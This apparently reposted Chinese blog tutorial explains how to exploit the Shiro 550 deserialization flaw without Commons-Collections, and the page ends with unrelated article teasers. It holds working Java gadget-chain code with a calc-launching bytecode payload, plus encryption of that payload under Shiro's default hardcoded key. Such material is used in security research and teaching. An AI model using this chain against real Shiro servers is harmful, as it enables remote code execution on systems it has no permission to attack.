【java安全】无Commons-Collections的Shiro550反序列化利用

文章目录

    • 【java安全】无Commons-Collections的Shiro550反序列化利用
      • Shiro550利用的难点
      • CommonsBeanutils1是否可以Shiro中?
        • 什么是serialVersionUID?W
      • 无依赖的Shiro反序列化利用链
      • POC

【java安全】无Commons-Collections的Shiro550反序列化利用

Shiro550利用的难点

前面我们学习Shiro反序列化漏洞时,使用了一个简单的shiroDemo,在这个Demo中引入了一些依赖:

  • shiro-core、shiro-web,这是shiro本身的依赖
  • javax.servlet-api、jsp-api,这是JSP和Servlet的依赖,仅在编译阶段使用,因为Tomcat中自带这 两个依赖
  • slf4j-api、slf4j-simple,这是为了显示shiro中的报错信息添加的依赖
  • commons-logging,这是shiro中用到的一个接口,不添加会爆 java.lang.ClassNotFoundException: org.apache.commons.logging.LogFactory错误
  • commons-collections,为了演示反序列化漏洞,增加了commons-collections依赖

前4个都与项目本身有关,如果缺少会导致项目出错。但是第5个只是为了演示漏洞,但是实际情况可能m目标没有安装Commons-Collections依赖,这个时候Shiro550反序列化还能用吗?

我们将演示项目中的Commons-Collections给删除掉,然后刷新maven:

image-20230802202254507

我们发现项目的依赖中有:commons-beanutils ,这说明Shiro是依赖于commons-beanutils

的,那么之前的CommonsBeanutils1能用吗?

CommonsBeanutils1是否可以Shiro中?

启动之前的demo项目,CommonsBeanutils1如下:

public class CommonsBeanUtils1 {

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAcDAAdAB4BAARjYWxjDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAAwACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAQAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABIABAATAA0AFAALAAAABAABABAAAQARAAAAAgAS".getBytes());
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{bytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        BeanComparator comparator = new BeanComparator();
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(1);
        queue.add(1);
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(barr.toByteArray())));


    }
}

将字符串通过key加密:

public class Cipher {
    public static void main(String[] args) {
       String s = "rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LPjgGC/k7xfgIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAAA5nK/rq+AAAANAAhCgAGABMKABQAFQgAFgoAFAAXBwAYBwAZAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHABoBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAGPGluaXQ+AQADKClWBwAbAQAKU291cmNlRmlsZQEAF0hlbGxvVGVtcGxhdGVzSW1wbC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAEkhlbGxvVGVtcGxhdGVzSW1wbAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAADAALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABAACwAAAAQAAQAMAAEADgAPAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAAEgAEABMADQAUAAsAAAAEAAEAEAABABEAAAACABJwdAASSGVsbG9UZW1wbGF0ZXNJbXBscHcBAHhxAH4ADXg=";
        byte[] bytes = Base64.getDecoder().decode(s.getBytes());

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(bytes, key);
        System.out.printf(ciphertext.toString());
    }
}

点击rememberMe时发送过去,修改rememberMe

发送一个payload,但没有成功:

image-20230802212742058

控制台提示了serialVersionUID

什么是serialVersionUID?W

如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通 信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会 根据固定算法计算出一个当前类的serialVersionUID值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的serialVersionUID不同,则反序列化就会异常退出,避免后续的未知隐患

所以这里出错的原因就是本地使用的commons-beanutils是1.9.2版本,而Shiro中自带的 commons-beanutils是1.8.3版本,出现了serialVersionUID对应不上的问题

解决方法也比较简单,将本地的commons-beanutils也换成1.8.3版本。 更换版本后,再次生成Payload进行测试,此时Tomcat端爆出了另一个异常,仍然没有触发代码执行:

image-20230802213110532

Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator]

简单来说就是没找到org.apache.commons.collections.comparators.ComparableComparator 类,从包名即可看出,这个类是来自于commons-collections。 commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽 然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于 commons-collections,但反序列化利用的时候需要依赖于commons-collections。
难道没有commons-collections就无法进行反序列化利用吗?当然有。

无依赖的Shiro反序列化利用链

我们先来看看org.apache.commons.collections.comparators.ComparableComparator这个类在 哪里使用了:

image-20230802213328917

在 BeanComparator 类的构造函数处,当没有显式传入 Comparator 的情况下,则默认使用 ComparableComparator 。 既然此时没有 ComparableComparator ,我们需要找到一个类来替换,它满足下面这几个条件:

  • 实现 java.util.Comparator 接口
  • 实现 java.io.Serializable 接口
  • Java、shiro或commons-beanutils自带,且兼容性强

我们可以找到一个CaseInsensitiveComparator:

public static final Comparator<String> CASE_INSENSITIVE_ORDER = new CaseInsensitiveComparator();

    private static class CaseInsensitiveComparator implements Comparator<String>, java.io.Serializable {
        // use serialVersionUID from JDK 1.2.2 for interoperability
        private static final long serialVersionUID = 8575799808933029326L;

        public int compare(String s1, String s2) {
            int n1 = s1.length();
            int n2 = s2.length();
            int min = Math.min(n1, n2);
            for (int i = 0; i < min; i++) {
                char c1 = s1.charAt(i);
                char c2 = s2.charAt(i);
                if (c1 != c2) {
                    c1 = Character.toUpperCase(c1);
                    c2 = Character.toUpperCase(c2);
                    if (c1 != c2) {
                        c1 = Character.toLowerCase(c1);
                        c2 = Character.toLowerCase(c2);
                        if (c1 != c2) {
// No overflow because of numeric promotion
                            return c1 - c2;
                        }
                    }
                }
            }
            return n1 - n2;
        }

        /**
         * Replaces the de-serialized object.
         */
        private Object readResolve() {
            return CASE_INSENSITIVE_ORDER;
        }
    }

这个 CaseInsensitiveComparator 类是 java.lang.String 类下的一个内部私有类,其实现了 Comparator 和 Serializable ,且位于Java的核心代码中,兼容性强,是一个完美替代品。 我们通过 String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的 CaseInsensitiveComparator 对 象,用它来实例化 BeanComparator :

final BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);

POC

最终的CommonsBeanutils1Shiro利用链:

package com.govuln.shiroattack;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsBeanutils1Shiro {
    public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        final BeanComparator comparator = new BeanComparator(null,
                String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,
                comparator);
// stub data for replacement later
        queue.add("1");
        queue.add("1");
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});
// ==================
// 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        return barr.toByteArray();
    }
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/64598.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

使用go-zero快速构建微服务

本文是对 使用go-zero快速构建微服务[1]的亲手实践 编写API Gateway代码 mkdir bookstore && cd bookstorego mod init bookstore mkdir api && goctl api -o api/bookstore.api syntax "v1"info(title: "xx使用go-zero"desc: "xx用…

Visual Studio配置PCL库

Visual Studio配置PCL库 Debug和Release配置新建项目配置属性表测试参考 Debug和Release Debug和Release的配置过程一模一样&#xff0c;唯一区别就在于最后一步插入的附加依赖项不同&#xff0c;因此下面以debug为例。 配置新建项目 1、新建一个C空项目&#xff0c;模式设置…

SQL分类及通用语法数据类型(超详细版)

一、SQL分类 SQL是结构化查询语言&#xff08;Structured Query Language&#xff09;的缩写。它是一种用于管理和操作关系型数据库系统的标准化语言。SQL分类如下&#xff1a; DDL: 数据定义语言&#xff0c;用来定义数据库对象&#xff08;数据库、表、字段&#xff09;DML:…

16-2_Qt 5.9 C++开发指南_使用样式表Qss自定义界面

进行本篇介绍学习前&#xff0c;请先参考链接01_1_Qt工程实践_Qt样式表Qss&#xff0c;后再结合本篇进行融合学习如何使用样式表定义界面。 文章目录 1. Qt样式表2. Qt样式表句法2.1 一般句法格式2.2 选择器 (selector)2.3 子控件&#xff08;sub-controls&#xff09;2.4 伪状…

UE5.2 LyraDemo源码阅读笔记(四)

上一篇&#xff08;三&#xff09;讲到在模式玩法UI点击Elimination进入淘汰赛模式。 UI选择点击Elimination后&#xff0c;触发蓝图W_HostSessionScreen的HostSession节点&#xff0c;有&#xff1a; 调用这个方法切换关卡后&#xff0c;会调用到LyraGameMode.cpp的 ALyraGam…

【Gitee的使用】Gitee的简单使用,查看/创建SSH公匙、创建版本库、拉取代码、提交代码

推荐阅读 CSDN主页GitHub开源地址Unity3D插件分享简书地址我的个人博客 大家好&#xff0c;我是佛系工程师☆恬静的小魔龙☆&#xff0c;不定时更新Unity开发技巧&#xff0c;觉得有用记得一键三连哦。 一、前言 本篇文章简单介绍&#xff0c;如何在Gitee上面创建版本库、拉取…

Zookeeper基础操作

搭建Zookeeper服务器 windows下部署 下载地址: https://mirrors.cloud.tencent.com/apache/zookeeper/zookeeper-3.7.1/ 修改配置文件 打开conf目录&#xff0c;将 zoo_sample.cfg复制一份&#xff0c;命名为 zoo.cfg打开 zoo.cfg&#xff0c;修改 dataDir路径&#xff0c…

2023最新性能测试面试题(带答案)

一、性能测试开展过程&#xff1a; 答&#xff1a;第一步&#xff1a;找产品沟通哪些接口需要压测&#xff0c;需要达到什么样的预期值(TPS和响应时间) 第二步&#xff1a;编写测试计划&#xff0c;人员、时间周期、工具 第三步&#xff1a;环境搭建 第四步&#xff1a;造数…

产品缺陷管理软件:了解功能与选择要点

在现代社会&#xff0c;产品缺陷管理软件已经成为了各个行业必不可少的工具。它可以帮助企业更好地管理和解决产品中存在的缺陷问题&#xff0c;提高产品质量和客户满意度。然而&#xff0c;市场上存在着众多的产品缺陷管理软件&#xff0c;如何选择一款好用、适合自己的软件成…

山东气象 × 和鲸科技:第一届齐鲁风云气象智能算法挑战赛圆满收官

7 月 20 日&#xff0c;中国气象局印发《人工智能气象应用工作方案&#xff08;2023 - 2030年&#xff09;》&#xff0c;旨在加快布局国产人工智能气象应用技术体系建设&#xff0c;推动人工智能技术在气象观测、预报及服务中的深度融合应用&#xff0c;为监测精密、预报精准、…

word转pdf怎么转?几种常用方法分享

word转pdf怎么转&#xff1f;在日常工作和学习中&#xff0c;将Word文档转换为PDF格式是一项必要的任务。不仅可以保证文档的格式不变&#xff0c;还可以防止文档被他人篡改。但是&#xff0c;Word文档并不是所有人都能够轻松打开和编辑的&#xff0c;而PDF文件则可以在各种设备…

【vue3】vue3和vue2的区别:

文章目录 Vue3框架的优点特点:一、生命周期:二、组合式api&#xff08;Composition API&#xff09;三、setup函数四、响应式原理1. 原理2. Object.defineProperty的缺陷3.proxy的优势 五、reactive函数和ref函数1. reactive函数》通常使用它复杂类型的响应式数据2. ref函数》使…

Postman如何做接口测试

目录 Postman如何做接口测试1&#xff1a;如何导入 swagger 接口文档 Postman如何做接口测试2&#xff1a;如何切换测试环境 Postman如何做接口测试3&#xff1a;什么&#xff1f;postman 还可以做压力测试&#xff1f; Postman如何做接口测试4&#xff1a;如何自动添加请求…

【TypeScript】安装的坑!

TypeScript安装 安装TypeScript安装时候可能报错这样开头的数据&#xff08;无法枚举容器中的对象&#xff09;——原因&#xff1a;没权限先解决没权限的问题如果发现无法修改-高级-修改继续安装想使用tsc-发现&#xff0c;tsc不能用解决方法&#xff1a;配置环境变量最后的最…

IDEA的实用快捷键大全

目录 1.常规快捷键 1.1通用类 1.2注释类 1.3操作类 1.4展开与关闭 2.智能补全类快捷键 3.程序结构类快捷键 4.统一操作快捷键 1.常规快捷键 1.1通用类 像 Ctrl C 复制&#xff0c; Ctrl V 粘贴&#xff0c; Ctrl S保存文件&#xff0c; Ctrl X剪切&#xff0c;这种…

【VUE】项目本地开启https访问模式(vite4)

在实际开发中&#xff0c;有时候需要项目以https形式进行页面访问/调试&#xff0c;下面介绍下非vue-cli创建的vue项目如何开启https 环境 vue: ^3.2.47vite: ^4.1.4 根据官方文档&#xff1a;开发服务器选项 | Vite 官方中文文档 ps&#xff1a;首次操作&#xff0c;不要被类…

flutter开发实战-flutter_spinkit实现多种风格进度指示器

flutter开发实战-flutter_spinkit实现多种风格进度指示器 最近开发过程中flutter_spinkit&#xff0c;这个拥有多种种风格加载指示器 一、flutter_spinkit 引入flutter_spinkit # 多种风格的模糊进度指示器flutter_spinkit: ^5.1.0效果示例 const spinkit SpinKitRotatingC…

【网络基础实战之路】基于OSPF协议建立两个MGRE网络的实验详解

系列文章传送门&#xff1a; 【网络基础实战之路】设计网络划分的实战详解 【网络基础实战之路】一文弄懂TCP的三次握手与四次断开 【网络基础实战之路】基于MGRE多点协议的实战详解 【网络基础实战之路】基于OSPF协议建立两个MGRE网络的实验详解 PS&#xff1a;本要求基于…

案例:Docker 镜像的创建及使用(commit与dockerfile方式)

文章目录 1、commit方式创建镜像1.1、前期准备1.2、制成镜像1.3、启动镜像1.3.1、启动镜像启动nginx1.3.2、一个命令直接全部启动1.3.3、两种方式区别 1.4、commit创建镜像方式的本质 2、Dockerfile的使用2.1、Dockerfile指令2.2、nginx镜像制作案例2.3、查看构建历史&#xff…

C高级【day4】

思维导图&#xff1a; 写一个函数&#xff0c;获取用户的uid和gid并使用变量接收&#xff1a; #!/bin/bashfunction get_uid {my_uidid -umy_gidid -g }get_uid echo "当前用户的UID&#xff1a;$my_uid" echo "当前用户的GID&#xff1a;$my_gid"整理冒泡…